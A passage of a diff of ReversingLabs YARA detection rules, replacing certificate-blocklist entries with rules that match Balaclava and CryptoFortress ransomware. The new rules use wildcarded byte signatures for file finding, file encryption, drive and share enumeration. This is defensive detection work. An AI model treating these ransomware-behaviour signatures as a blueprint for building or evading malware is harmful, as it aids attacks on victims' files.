?? ?? ?? 83 C4 ?? 53 68 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B 47 ?? 83 C4 ?? 83 F8 ?? 77 ?? FF 24 85 ?? ?? ?? ?? 68 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB + ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 + ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 C4 ?? FF 77 ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 47 ?? 83 C4 ?? A8 ?? 74 ?? + 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 47 ?? 83 C4 ?? A8 ?? 74 ?? 68 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 83 C4 ?? 83 7F ?? ?? 75 ?? 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 FF + 77 ?? FF 15 ?? ?? ?? ?? 8D 04 45 ?? ?? ?? ?? 50 FF 77 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? + 8D 45 ?? 50 6A ?? 56 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 5E FF 77 ?? 53 68 + ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 77 ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 77 ?? 53 68 + ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 77 ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5B + 5D C3 + } + $encrypt_files = { + 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B C8 8B F2 83 C4 ?? 2B CE 8D 71 ?? + 66 90 0F B7 0A 8D 52 ?? 66 89 4C 32 ?? 66 85 C9 75 ?? 50 FF 35 ?? ?? ?? ?? FF 15 ?? + ?? ?? ?? 8B 35 ?? ?? ?? ?? 47 89 7D ?? E9 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? FF 75 ?? 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8B 35 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? + ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 + 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? EB ?? + 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 53 + FF D6 8B 3D ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? + 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C3 53 + FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5 + 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Kivaliz Prest s.r.l." and ( pe.signatures [ i ] . serial == "00:9c:fb:b4:c6:90:08:82:1a:aa:ce:cd:e9:7e:e1:49:ab" or pe.signatures [ i ] . serial == "9c:fb:b4:c6:90:08:82:1a:aa:ce:cd:e9:7e:e1:49:ab" ) and 1592363914 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( $remote_connection ) } - -rule REVERSINGLABS_Cert_Blocklist_C04F5D17Af872Cb2C37E3367Fe761D0D : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Balaclava : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Balaclava ransomware." author = "ReversingLabs" - id = "d7ef2bdf-afba-5254-bef2-78f4b6d5ecea" - date = "2020-08-05" - modified = "2023-11-08" + id = "1a17f2e8-f161-55bc-b44e-f8f47ebd9869" + date = "2020-10-01" + modified = "2020-10-01" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4364-L4382" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Balaclava.yara#L1-L113" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4a4d60aa3722a710fe23d5e11c55a28bfe721bb4e797b041d58f62a994487799" + logic_hash = "01b43e6ea7ceebdbdda7e1f7c5bd2439a460b8aed4a1837755fa3679e9893ff3" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Balaclava" + tc_detection_factor = 5 importance = 25 + strings: + $find_files_p1 = { + 55 8B EC 83 EC ?? 53 56 8B 75 ?? 33 D2 57 6A ?? 5B 8B 7E ?? 89 55 ?? 8D 4F ?? 66 8B + 07 03 FB 66 3B C2 75 ?? 2B F9 B9 ?? ?? ?? ?? D1 FF E8 ?? ?? ?? ?? 50 FF 76 ?? 89 45 + ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 50 FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B + 45 ?? 83 C0 ?? 89 45 ?? 8B D8 33 D2 8D 4B ?? 66 8B 03 83 C3 ?? 66 3B C2 75 ?? 2B D9 + D1 FB 8D 04 3B 3D ?? ?? ?? ?? 7C ?? 8D 04 45 ?? ?? ?? ?? 50 39 56 ?? 74 ?? FF 76 ?? + 52 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? EB ?? 52 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? + ?? ?? 39 46 ?? 74 ?? 89 46 ?? 8B 46 ?? 33 C9 66 89 0C 78 8B 55 ?? F7 02 ?? ?? ?? ?? + 0F 85 ?? ?? ?? ?? 33 D2 8B C2 6A ?? 89 45 ?? 59 89 4D ?? 3B C1 7F ?? 03 C1 8B 4D ?? + 99 2B C2 D1 F8 89 45 ?? 8B 14 85 ?? ?? ?? ?? 66 8B 01 66 3B 02 75 ?? 66 85 C0 74 ?? + 66 8B 41 ?? 66 3B 42 ?? 75 ?? 83 C1 ?? 83 C2 ?? 66 85 C0 75 ?? 33 D2 8B C2 EB ?? 1B + C0 83 C8 ?? 33 D2 85 C0 0F 84 ?? ?? ?? ?? 79 ?? 8B 4D ?? 8B 45 ?? 49 EB ?? 8B 45 ?? + 8B 4D ?? 40 89 45 ?? EB ?? 8B 45 ?? F6 00 ?? 0F 84 ?? ?? ?? ?? 8D 04 5D ?? ?? ?? ?? + 50 8B 46 ?? FF 75 ?? 8D 04 78 83 C0 ?? 50 E8 ?? ?? ?? ?? 8B 4E ?? 83 C4 ?? 8B 46 ?? + 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 + ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7E ?? ?? 74 + ?? 83 7E ?? ?? 7E ?? FF 76 ?? 8B 4E ?? FF 76 ?? E8 ?? ?? ?? ?? 59 59 8B 4E ?? 8D 14 + } + $find_files_p2 = { + 3B A1 ?? ?? ?? ?? 56 89 44 51 ?? 66 A1 ?? ?? ?? ?? 66 89 44 51 ?? FF 46 ?? E8 ?? ?? + ?? ?? FF 4E ?? E9 ?? ?? ?? ?? 39 56 ?? 0F 85 ?? ?? ?? ?? 8D 04 5D ?? ?? ?? ?? 50 8B + 46 ?? FF 75 ?? 8D 04 78 83 C0 ?? 50 E8 ?? ?? ?? ?? 8B 5E ?? 83 C4 ?? 8B CB B8 ?? ?? + ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? + 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B CB 8D + 51 ?? 66 8B 01 83 C1 ?? 66 3B 45 ?? 75 ?? 2B CA D1 F9 83 F9 ?? 72 ?? 8B CB 8D 51 ?? + 66 8B 01 83 C1 ?? 66 3B 45 ?? 75 ?? 2B CA D1 F9 83 C1 ?? 68 ?? ?? ?? ?? 8D 04 4B 50 + FF 15 ?? ?? ?? ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 A8 ?? 74 ?? 83 E0 ?? + 50 FF 76 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BB ?? ?? ?? ?? 53 FF + 15 ?? ?? ?? ?? EB ?? 85 C0 75 ?? 6A ?? 53 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 0D ?? + ?? ?? ?? 6A ?? 58 3B C8 A1 ?? ?? ?? ?? 74 ?? 83 F8 ?? 74 ?? FF 76 ?? A1 ?? ?? ?? ?? + 33 D2 6A ?? 03 C1 59 F7 F1 FF 34 95 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 05 ?? ?? ?? ?? + FF 05 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 46 ?? 6A + ?? 59 66 89 4C 78 ?? 33 C9 8B 46 ?? 66 89 0C 78 FF 75 ?? 8B 5D ?? 53 FF 15 ?? ?? ?? + ?? 85 C0 74 ?? 8B 45 ?? E9 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 5D ?? 33 FF 39 7E ?? + 75 ?? 89 3E 53 FF 15 ?? ?? ?? ?? 8B DF 8B 4D ?? E8 ?? ?? ?? ?? 5F 5E 8B C3 5B 8B E5 + 5D C2 + } + $encrypt_files_p1 = { + 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 55 ?? 8B C1 89 45 ?? C7 45 ?? ?? ?? + ?? ?? 33 F6 89 75 ?? 83 4D ?? ?? 89 75 ?? 89 75 ?? 89 75 ?? 89 75 ?? 89 75 ?? 89 75 + ?? 56 68 ?? ?? ?? ?? 6A ?? 56 56 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? + 83 FB ?? 74 ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 0B 45 ?? 74 ?? + 8B FE EB ?? 33 FF 47 89 7D ?? 85 FF 0F 85 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 + 45 ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? FF 75 ?? FF D0 8B C8 A1 ?? ?? ?? ?? EB ?? 8B + CE 85 C9 0F 84 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? FF 75 ?? FF D0 EB ?? 8B C6 85 C0 0F 84 + ?? ?? ?? ?? 56 8D 45 ?? 50 68 ?? ?? ?? ?? 8B 7D ?? 57 53 FF 15 ?? ?? ?? ?? 85 C0 75 + ?? 83 CF ?? 89 7D ?? E9 ?? ?? ?? ?? 8B 45 ?? 3B C6 7C ?? 8B 4D ?? 7F ?? 81 F9 ?? ?? + ?? ?? 76 ?? 81 E9 ?? ?? ?? ?? 1B C6 50 51 33 D2 8B CB E8 ?? ?? ?? ?? 59 59 23 C2 89 + } + $encrypt_files_p2 = { + 75 ?? 85 F6 75 ?? 56 8D 45 ?? 50 68 ?? ?? ?? ?? 8B 45 ?? 03 C7 50 53 FF 15 ?? ?? ?? + ?? 8B FE 89 7D ?? EB ?? 56 56 6A ?? 5A 8B CB E8 ?? ?? ?? ?? 59 59 23 C2 8B FE 89 7D + ?? 85 FF 75 ?? 56 8D 45 ?? 50 6A ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? + ?? ?? 8B 4D ?? FF 71 ?? FF 71 ?? 8D 41 ?? 50 FF 71 ?? 6A ?? 5A 8B 4D ?? E8 ?? ?? ?? + ?? 83 C4 ?? 0F B6 C0 23 F8 89 7D ?? 0F 85 ?? ?? ?? ?? 56 8D 45 ?? 50 8B 45 ?? FF 70 + ?? FF 70 ?? 53 FF 15 ?? ?? ?? ?? 56 8D 45 ?? 50 8B 45 ?? FF 70 ?? FF 70 ?? 53 FF 15 + ?? ?? ?? ?? 51 8B 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8D 45 ?? 50 8B 55 ?? 52 + 8B 4D ?? 8B 45 ?? 03 C1 50 52 51 51 8B 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 + ?? 85 C0 75 ?? 56 8D 45 ?? 50 6A ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? + ?? ?? 56 56 33 D2 8B CB E8 ?? ?? ?? ?? 59 59 56 8D 45 ?? 50 FF 75 ?? FF 75 ?? 53 FF + 15 ?? ?? ?? ?? 83 7D ?? ?? 76 ?? 8B 45 ?? 2D ?? ?? ?? ?? 8B 4D ?? 1B CE 51 50 33 D2 + 8B CB E8 ?? ?? ?? ?? 59 59 56 8D 45 ?? 50 FF 75 ?? 8B 45 ?? 03 45 ?? 50 53 FF 15 ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 4D ?? ?? E8 ?? ?? ?? ?? 8B C7 E8 ?? ?? ?? ?? C3 + } + $find_volumes = { + 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 33 DB 53 8D 85 ?? ?? + ?? ?? 50 E8 ?? ?? ?? ?? 56 53 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 89 7D ?? 83 FF ?? 0F 84 ?? ?? ?? + ?? 89 5D ?? 6A ?? 5B 8D B5 ?? ?? ?? ?? 8D 4E ?? 33 D2 66 8B 06 83 C6 ?? 66 3B C2 75 + ?? 2B F1 D1 FE 66 39 9D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 66 39 9D ?? ?? ?? ?? 75 ?? 66 + 83 BD ?? ?? ?? ?? ?? 75 ?? 66 39 9D ?? ?? ?? ?? 75 ?? 66 39 9C 75 ?? ?? ?? ?? 75 ?? + 33 C0 66 89 84 75 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? + 50 FF 15 ?? ?? ?? ?? 66 89 9C 75 ?? ?? ?? ?? 85 C0 74 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 4D ?? ?? E8 ?? ?? ?? ?? EB ?? 8B 7D ?? 57 FF 15 ?? + ?? ?? ?? 8B 65 ?? E8 ?? ?? ?? ?? C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DES SP Z O O" and ( pe.signatures [ i ] . serial == "00:c0:4f:5d:17:af:87:2c:b2:c3:7e:33:67:fe:76:1d:0d" or pe.signatures [ i ] . serial == "c0:4f:5d:17:af:87:2c:b2:c3:7e:33:67:fe:76:1d:0d" ) and 1594590024 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_volumes ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_02C5351936Abe405Ac760228A40387E8 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Cryptofortress : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects CryptoFortress ransomware." author = "ReversingLabs" - id = "6a1e5115-ac72-57a3-8418-7c81f38f76af" - date = "2020-08-05" - modified = "2023-11-08" + id = "460289b1-f775-5e0b-8c44-4f6e5c92da60" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4384-L4400" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.CryptoFortress.yara#L1-L162" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5a990f8d1a3f467cdafa0f625bc162745d9201e15ce43fdc93cd6b1730572e89" + logic_hash = "474893b63523de5ff9eb8a0c91b0677b99ce65056af7f5d02a73e43fa65453c9" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "CryptoFortress" + tc_detection_factor = 5 importance = 25 + strings: + $enum_drives = { + 55 8B EC 83 C4 ?? 56 57 C7 45 ?? ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? + ?? ?? ?? 8D 7D ?? B2 ?? B9 ?? ?? ?? ?? A9 ?? ?? ?? ?? 74 ?? 88 17 47 D1 E8 FE C2 49 + 75 ?? C6 07 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B F8 8D 75 ?? 8A 16 88 55 ?? 8D 45 ?? 50 + FF 15 ?? ?? ?? ?? 8D 55 ?? C6 42 ?? ?? 83 F8 ?? 75 ?? 60 8D 45 ?? 50 8D 45 ?? 50 6A + ?? 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? + 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 05 ?? ?? ?? ?? 61 46 4F 75 ?? A1 ?? ?? ?? ?? A3 + ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 5F 5E C9 C3 + } + $enum_shared_resources = { + 55 8B EC 83 C4 ?? 8D 45 ?? 50 FF 75 ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 0B C0 0F + 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 FF 75 ?? 8D 45 ?? 50 FF 75 ?? FF 15 + ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 3D ?? ?? ?? ?? 74 ?? 8B 4D ?? 51 8D 49 ?? 6B C9 ?? 8B + 45 ?? 8D 0C 01 6A ?? 51 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? FF 75 ?? E8 ?? + ?? ?? ?? 83 F8 ?? 76 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 0B C0 74 ?? FF 75 ?? E8 ?? ?? ?? ?? EB ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 49 75 ?? EB + ?? EB ?? E9 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? FF + 15 ?? ?? ?? ?? C9 C2 + } + $find_files = { + 55 8B EC 81 C4 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 35 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 + ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 40 0F 84 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + 83 E0 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 + 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? + ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? C6 00 ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? + ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? C6 00 ?? 2B 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? + E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B + 8D ?? ?? ?? ?? C7 04 08 ?? ?? ?? ?? E8 ?? ?? ?? ?? 58 8B 8D ?? ?? ?? ?? C7 44 08 ?? + ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 + 0F 84 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF B5 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F + 85 ?? ?? ?? ?? 8B 4D ?? 0B C9 75 ?? 6A ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 45 ?? + 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF + 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 49 8B 1D ?? ?? ?? ?? 51 53 + FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 59 EB ?? 53 E8 ?? ?? ?? ?? 03 D8 + 83 C3 ?? 59 E2 ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 8B 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 0B + C9 75 ?? 3B D0 72 ?? EB ?? EB ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? + FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 75 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF B5 + ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF B5 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C9 C3 + } + $encrypt_files = { + 55 8B EC 83 C4 ?? 53 33 C0 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89 + 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? FF 35 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 89 45 ?? FF 75 ?? E8 ?? ?? ?? ?? 33 C0 50 50 6A ?? 50 6A ?? 68 ?? ?? ?? ?? + FF 75 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? E9 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 8D 45 + ?? 50 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? + 83 7D ?? ?? 75 ?? 83 7D ?? ?? 73 ?? E9 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? BB ?? ?? ?? ?? + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? BB ?? ?? ?? ?? B8 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B D2 75 ?? 0B C9 75 ?? B9 ?? ?? ?? ?? 89 4D ?? 89 55 ?? + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 4D ?? 89 55 ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 89 4D ?? 89 55 ?? 0B DB 75 ?? 0B C0 74 ?? 83 45 ?? ?? 83 55 ?? ?? FF 75 ?? + FF 75 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 81 7D ?? ?? ?? + ?? ?? 76 ?? B8 ?? ?? ?? ?? EB ?? 8B 45 ?? 6B C0 ?? 89 45 ?? 6A ?? 8D 45 ?? 50 FF 75 + ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? 0B C0 74 ?? E9 ?? ?? ?? ?? + 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 FF 75 ?? 6A ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? E8 ?? ?? + ?? ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? 0B C0 74 ?? E9 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF + 75 ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? DF 6D ?? DA 45 + ?? DF 7D ?? C7 45 ?? ?? ?? ?? ?? DF 6D ?? DA 65 ?? DF 7D ?? C7 45 ?? ?? ?? ?? ?? DF + 6D ?? DA 65 ?? DF 7D ?? 83 7D ?? ?? 75 ?? 83 7D ?? ?? 74 ?? E9 ?? ?? ?? ?? 8F 45 ?? + 8F 45 ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? E8 ?? ?? + ?? ?? 0B C0 74 ?? EB ?? 6A ?? 8D 45 ?? 50 6A ?? 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? + ?? 0B C0 75 ?? EB ?? 6A ?? 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? + ?? 0B C0 75 ?? EB ?? EB ?? 8D 45 ?? 50 8D 45 ?? 50 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? + ?? ?? FF 75 ?? E8 ?? ?? ?? ?? B8 